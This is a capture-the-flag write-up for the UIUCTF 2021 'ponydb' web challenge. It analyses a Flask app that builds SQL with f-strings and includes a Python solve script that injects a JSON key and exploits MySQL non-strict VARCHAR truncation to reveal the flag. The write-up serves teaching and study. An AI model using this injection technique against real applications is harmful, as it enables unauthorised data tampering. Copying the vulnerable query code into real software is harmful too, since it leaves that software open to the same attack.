👨‍💻
CTFs
HomePlaygroundOSCPBuy Me a Flag 🚩
  • 🚩Zeyu's CTF Writeups
  • Home
  • Playground
  • OSCP
  • My Challenges
    • SEETF 2023
    • The InfoSecurity Challenge 2022
    • SEETF 2022
    • Cyber League Major 1
    • STANDCON CTF 2021
      • Space Station
      • Star Cereal
      • Star Cereal 2
      • Mission Control
      • Rocket Science
      • Space University of Interior Design
      • Rocket Ship Academy
      • Space Noise
  • 2023
    • DEF CON CTF 2023 Qualifiers
    • hxp CTF
      • true_web_assembly
    • HackTM CTF Qualifiers
      • Crocodilu
      • secrets
      • Hades
  • 2022
    • niteCTF 2022
      • Undocumented js-api
      • js-api
    • STACK the Flags 2022
      • Secret of Meow Olympurr
      • The Blacksmith
      • GutHib Actions
      • Electrogrid
      • BeautyCare
    • LakeCTF Qualifiers
      • People
      • Clob-Mate
      • So What? Revenge
    • The InfoSecurity Challenge 2022
      • Level 1 - Slay The Dragon
      • Level 2 - Leaky Matrices
      • Level 3 - PATIENT0
      • Level 4B - CloudyNekos
      • Level 5B - PALINDROME's Secret (Author Writeup)
    • BalsnCTF 2022
      • 2linenodejs
      • Health Check
    • BSidesTLV 2022 CTF
      • Smuggler
      • Wild DevTools
      • Tropical API
    • Grey Cat The Flag 2022
    • DEF CON CTF 2022 Qualifiers
    • Securinets CTF Finals 2022
      • StrUggLe
      • XwaSS ftw?
      • Strong
      • Artist
    • NahamCon CTF 2022
      • Flaskmetal Alchemist
      • Hacker TS
      • Two For One
      • Deafcon
      • OTP Vault
      • Click Me
      • Geezip
      • Ostrich
      • No Space Between Us
    • Securinets CTF Quals 2022
      • Document-Converter
      • PlanetSheet
      • NarutoKeeper
    • CTF.SG CTF
      • Asuna Waffles
      • Senpai
      • We know this all too well
      • Don't Touch My Flag
      • Wildest Dreams Part 2
      • Chopsticks
    • YaCTF 2022
      • Shiba
      • Flag Market
      • Pasteless
      • Secretive
      • MetaPDF
      • Crackme
    • DiceCTF 2022
      • knock-knock
      • blazingfast
    • TetCTF 2022
      • 2X-Service
      • Animals
      • Ezflag Level 1
  • 2021
    • hxp CTF 2021
    • HTX Investigator's Challenge 2021
    • Metasploit Community CTF
    • MetaCTF CyberGames
      • Look, if you had one shot
      • Custom Blog
      • Yummy Vegetables
      • Ransomware Patch
      • I Hate Python
      • Interception
    • CyberSecurityRumble CTF
      • Lukas App
      • Finance Calculat0r 2021
      • Personal Encryptor with Nonbreakable Inforation-theoretic Security
      • Enterprice File Sharing
      • Payback
      • Stonks Street Journal
    • The InfoSecurity Challenge (TISC) 2021
      • Level 4 - The Magician's Den
      • Level 3 - Needle in a Greystack
      • Level 2 - Dee Na Saw as a need
      • Level 1 - Scratching the Surface
    • SPbCTF's Student CTF Quals
      • 31 Line PHP
      • BLT
      • CatStep
    • Asian Cyber Security Challenge (ACSC) 2021
      • Cowsay As A Service
      • Favorite Emojis
      • Baby Developer
      • API
      • RSA Stream
      • Filtered
      • NYONG Coin
    • CSAW CTF Qualification Round 2021
      • Save the Tristate
      • securinotes
      • no pass needed
      • Gatekeeping
      • Ninja
    • YauzaCTF 2021
      • Yauzacraft Pt. 2
      • Yauzabomber
      • RISC 8bit CPU
      • ARC6969 Pt. 1
      • ARC6969 Pt. 2
      • Back in 1986 - User
      • Lorem-Ipsum
    • InCTF 2021
      • Notepad 1 - Snakehole's Secret
      • RaaS
      • MD Notes
      • Shell Boi
      • Listen
      • Ermittlung
      • Alpha Pie
    • UIUCTF 2021
      • pwnies_please
      • yana
      • ponydb
      • SUPER
      • Q-Rious Transmissions
      • capture the :flag:
      • back_to_basics
      • buy_buy_buy
    • Google CTF 2021
      • CPP
      • Filestore
    • TyphoonCon CTF 2021
      • Clubmouse
      • Impasse
    • DSTA BrainHack CDDC21
      • File It Away (Pwn)
      • Linux Rules the World! (Linux)
      • Going Active (Reconnaissance)
      • Behind the Mask (Windows)
      • Web Takedown Episode 2 (Web)
      • Break it Down (Crypto)
    • BCACTF 2.0
      • L10N Poll
      • Challenge Checker
      • Discrete Mathematics
      • Advanced Math Analysis
      • Math Analysis
      • American Literature
      • More Than Meets the Eye
      • 􃗁􌲔􇺟􊸉􁫞􄺷􄧻􃄏􊸉
    • Zh3ro CTF V2
      • Chaos
      • Twist and Shout
      • 1n_jection
      • alice_bob_dave
      • Baby SSRF
      • bxxs
      • Sparta
    • Pwn2Win CTF 2021
      • C'mon See My Vulns
      • Illusion
    • NorzhCTF 2021
      • Leet Computer
      • Secure Auth v0
      • Triskel 3: Dead End
      • Triskel 2: Going In
      • Triskel 1: First Contact
      • Discovery
    • DawgCTF 2021
      • Bofit
      • Jellyspotters
      • No Step On Snek
      • Back to the Lab 2
      • MDL Considered Harmful
      • Really Secure Algorithm
      • The Obligatory RSA Challenge
      • Trash Chain
      • What the Flip?!
      • Back to the Lab 1
      • Back to the Lab 3
      • Dr. Hrabowski's Great Adventure
      • Just a Comment
      • Baby's First Modulation
      • Two Truths and a Fib
    • UMDCTF 2021
      • Advantageous Adventures
      • Roy's Randomness
      • Whose Base Is It Anyway
      • Cards Galore
      • Pretty Dumb File
      • Minetest
      • Donnie Docker
      • Subway
      • Jump Not Easy
      • To Be XOR Not To Be
      • Office Secrets
      • L33t M4th
      • Bomb 2 - Mix Up
      • Jay
    • Midnight Sun CTF 2021
      • Corporate MFA
      • Gurkburk
      • Backups
    • picoCTF 2021
      • It Is My Birthday (100)
      • Super Serial (130)
      • Most Cookies (150)
      • Startup Company (180)
      • X marks the spot (250)
      • Web Gauntlet (170 + 300)
      • Easy Peasy (40)
      • Mini RSA (70)
      • Dachshund Attacks (80)
      • No Padding, No Problem (90)
      • Trivial Flag Transfer Protocol (90)
      • Wireshark twoo twooo two twoo... (100)
      • Disk, Disk, Sleuth! (110 + 130)
      • Stonks (20)
    • DSO-NUS CTF 2021
      • Insecure (100)
      • Easy SQL (200)
Powered by GitBook
On this page
  • Description
  • Solution
  • Source Code Analysis
  • Exploitation

Was this helpful?

  1. 2021
  2. UIUCTF 2021

ponydb

SQL injection and truncation attack

PreviousyanaNextSUPER

Last updated 3 years ago

Was this helpful?

Description

http://ponydb.chal.uiuc.tf

(note: has unintended element that makes it slightly easier. see miniaturehorsedb for the full-difficulty challenge.)

author: kmh

Solution

Source Code Analysis

We are provided with the source code for a Flask web application.

First, a MySQL connection is established and a ponies table is created. The flag is also loaded into the flag variable.

flag = os.environ['FLAG']

config = {
	'host': os.environ['DB_HOST'],
	'user': os.environ['DB_USER'],
	'password': os.environ['DB_PASS'],
	'database': os.environ['DB'],
	'sql_mode': 'NO_BACKSLASH_ESCAPES'
}

for i in range(30):
	try:
		conn = mysql.connector.connect(**config)
		break
	except mysql.connector.errors.DatabaseError:
		time.sleep(1)
else: conn = mysql.connector.connect(**config)
cursor = conn.cursor()
try: cursor.execute('CREATE TABLE `ponies` (`name` varchar(64), `bio` varchar(256), '
                    '`image` varchar(256), `favorites` varchar(256), `session` varchar(64))')
except mysql.connector.errors.ProgrammingError: pass
cursor.close()
conn.close()

There are two endpoints, GET / and POST /pony. Let's take a look at how they behave.

GET Endpoint

@app.route('/')
def ponies():
	cnx = mysql.connector.connect(**config)
	cur = cnx.cursor()

	if 'id' not in session:
		session['id'] = secrets.token_hex(32)
		cur.execute("INSERT INTO `ponies` VALUES ('Pwny', 'Pwny is the official mascot of SIGPwny!', "
		            "'https://sigpwny.github.io/images/logo.png', " + \
		            f"'{{\"color\":\"orange\",\"word\":\"pwn\",\"number\":13}}', '{session['id']}')")
		cnx.commit()

If a session ID has not yet been assigned, a secure one is generated and the ponies table in the database is populated with a default pony.

Note the unusual format of the favorites data - it is meant to be a JSON string. The default pony has the following favorites data:

{"color":"orange","word":"pwn","number":13}

A SELECT statement is then used to fetch the ponies corresponding to the session ID. Notice that the favorites data is parsed by json.loads() into a Python dictionary.

The ponies' data is stored into the ponies variable.

	ponies = []
	cur.execute(f"SELECT * FROM `ponies` WHERE session='{session['id']}'")
	for (name, bio, image, data, _) in cur:
		ponies.append({"name": name, "bio": bio, "image": image, "favorites": json.loads(data)})

	cur.close()
	cnx.close()

Finally, the ponies.html template is rendered with the ponies and flag variables.

return render_template('ponies.html', ponies=ponies, flag=flag)

In ponies.html, we find that flag is rendered under the condition that the pony's "favorite number" (the one stored in the JSON data) is 1337. This is the condition we have to bypass in order to solve the challenge.

{% for favorite in pony['favorites'] %}
	<p>Favorite {{ favorite }}: {{ pony['favorites'][favorite] }}</p>
	{% if favorite == 'number' and pony['favorites'][favorite] == 1337 %}
		<p>Favorite flag: {{ flag }}</p>
	{% endif %}
{% endfor %}

POST Endpoint

Now, if we look at the POST endpoint, we will start to get an idea of the intended exploit.

There are 7 parameters to submit. Each one is checked for single quotes ('), and the length of the parameters are checked. While we have control over the number parameter, the validation ensures that it is an integer from 0 to 100, so we cannot simply set it to 1337.

@app.route('/pony', methods=['POST'])
def add():
	error = None

	name = request.form['name']
	if "'" in name: error = 'Name may not contain single quote'
	if len(name) > 64: error = 'Name too long'

	bio = request.form['bio']
	if "'" in bio: error = 'Bio may not contain single quote'
	if len(bio) > 256: error = 'Bio too long'

	image = request.form['image']
	if "'" in image: error = 'Image URL may not contain single quote'
	if len(image) > 256: error = 'Image URL too long'

	favorite_key = request.form['favorite_key']
	if "'" in favorite_key: error = 'Custom favorite name may not contain single quote'
	if len(favorite_key) > 64: 'Custom favorite name too long'

	favorite_value = request.form['favorite_value']
	if "'" in favorite_value: error = 'Custom favorite may not contain single quote'
	if len(favorite_value) > 64: 'Custom favorite too long'

	word = request.form['word']
	if "'" in word: error = 'Word may not contain single quote'
	if len(word) > len('antidisestablishmentarianism'): error = 'Word too long'

	number = int(request.form['number'])
	if number >= 100: error = "Ponies can't count that high"
	if number < 0: error = "Ponies can't count that low"

If the checks are passed, then the following INSERT statement is executed. Once again, f-strings are used instead of parameterized queries. This time, however, we have control over the variables through the POST request.

if error: flash(error)
	else:
		cnx = mysql.connector.connect(**config)
		cur = cnx.cursor()
		cur.execute(f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
		            f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
		            f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
		            f"'{session['id']}')")
		cnx.commit()
		cur.close()
		cnx.close()

While single quotes are filtered, we can easily escape out of the double quotes used in the JSON string. At first thought, we might think that we can simply inject a custom "number": 1337 key-value pair to pass the number check in the Jinja template, thereby rendering the flag in the GET response.

For instance, if we submit number":1337,"color as the favorite_key parameter, the inserted JSON string would be:

{"number":1337,"color":"orange","word":"pwn","number":13}

Unfortunately, as stated in the documentation, json.loads() handles repeated keys in JSON objects by ignoring everything except the last key-value pair.

Therefore, while we might be able to inject a custom number key-value pair into the JSON string stored in the database, it will eventually be ignored when parsed by the json library.

The (Unintended) Fatal Flaw

It took us a few hours to spot this, but there was a flaw in the code. The favorite_key and favorite_value length checks actually don't produce any errors!

The error variable should have been assigned as follows.

if len(favorite_value) > 64: error = 'Custom favorite too long'

Instead, the string was not assigned to any variable.

if len(favorite_value) > 64: 'Custom favorite too long'

Now, if we look back at the creation of the ponies table, we will find that the favorites column has a maximum length of 256.

CREATE TABLE `ponies` ( ..., `favorites` varchar(256), ... )

The Ultimate Fatal Flaw

If strict SQL mode is not enabled and you assign a value to a CHAR or VARCHAR column that exceeds the column's maximum length, the value is truncated to fit and a warning is generated. For truncation of nonspace characters, you can cause an error to occur (rather than a warning) and suppress insertion of the value by using strict SQL mode. See Section 5.1.11, “Server SQL Modes”.

Note that while strict SQL mode is enabled by default, the sql_mode option was set to 'NO_BACKSLASH_ESCAPES'.

config = {
	
	...
	
	'sql_mode': 'NO_BACKSLASH_ESCAPES'
}

Exploitation

Let's revisit the earlier payload. We have number":1337,"color as favorite_key, which results in the following favorites string being inserted into the database:

{"number":1337,"color":"orange","word":"pwn","number":13}

We can leverage the truncation to "push out" the final "number":13 from the 256-character VARCHAR and insert a truncated string without the final key-value pair. This will resolve the repeated key problem when using json.loads().

My final solve script looked like this. We first set the favorite_key and favorite_value, with favorite_key containing the "number": 1337 key-value pair and favorite_value ending in "}. Next, we create the JSON string up to favorite_value.

Then, we can calculate the number of remaining characters needed to complete the 256-character VARCHAR. This number of characters will be appended to the beginning of favorite_value.

import json
import requests
import re

name = 'test'
bio = 'test'
image = 'test'
favorite_key = 'number":1337,"color'
favorite_value = 'A"}'
word = 'test'
number = '1'
session = {'id': 5}

favorites = f"{{\"{favorite_key.lower()}\":\"{favorite_value}"

length = len(favorites)
print("Current length:", length, '\n')

remaining = 256 - length
favorite_value = 'A' * remaining + favorite_value

print("favorite_value:", favorite_value, '\n')

favorites = f"{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
		            f"\"word\":\"{word.lower()}\",\"number\":{number}}}"

print("Length before truncation:", len(favorites), '\n')

sql = f"INSERT INTO `ponies` VALUES ('{name}', '{bio}', '{image}', " + \
		            f"'{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
		            f"\"word\":\"{word.lower()}\",\"number\":{number}}}', " + \
		            f"'{session['id']}')"

print("SQL statement:", sql, '\n')

data = f"{{\"{favorite_key.lower()}\":\"{favorite_value}\"," + \
		            f"\"word\":\"{word.lower()}\",\"number\":{number}}}"

data = json.loads(data[:256])
print("Parsed JSON:", data, '\n')

s = requests.session()
s.get("http://ponydb.chal.uiuc.tf")

payload = {
	"name": name,
	"bio": bio,
	"image": image,
	"favorite_key": favorite_key,
	"favorite_value": favorite_value,
	"word": word,
	"number": number
}

r = s.post("http://ponydb.chal.uiuc.tf/pony", data=payload)
match = re.search(r"<p>Favorite flag: (.+)</p>", r.text)
print(match[1])

The last part of the script just automates the HTTP requests. We could, of course, submit the payload manually as well, and see our pony in all its glory.

Interestingly, f-strings are used instead of . In this case, unfortunately, we do not have control over session['id'].

According to the , if strict SQL mode is not enabled, assigning a VARCHAR value that exceeds the column length will cause the value to be truncated without raising an error.

As specified in the Python MySQL Connector , this option should be a string of comma-separated modes. Evidently, the above configuration leaves out STRICT_TRANS_TABLES and STRICT_ALL_TABLES, either of which would have enabled strict SQL mode.

parameterized queries
MySQL documentation
documentation
2KB
handout.tar.gz
handout.tar.gz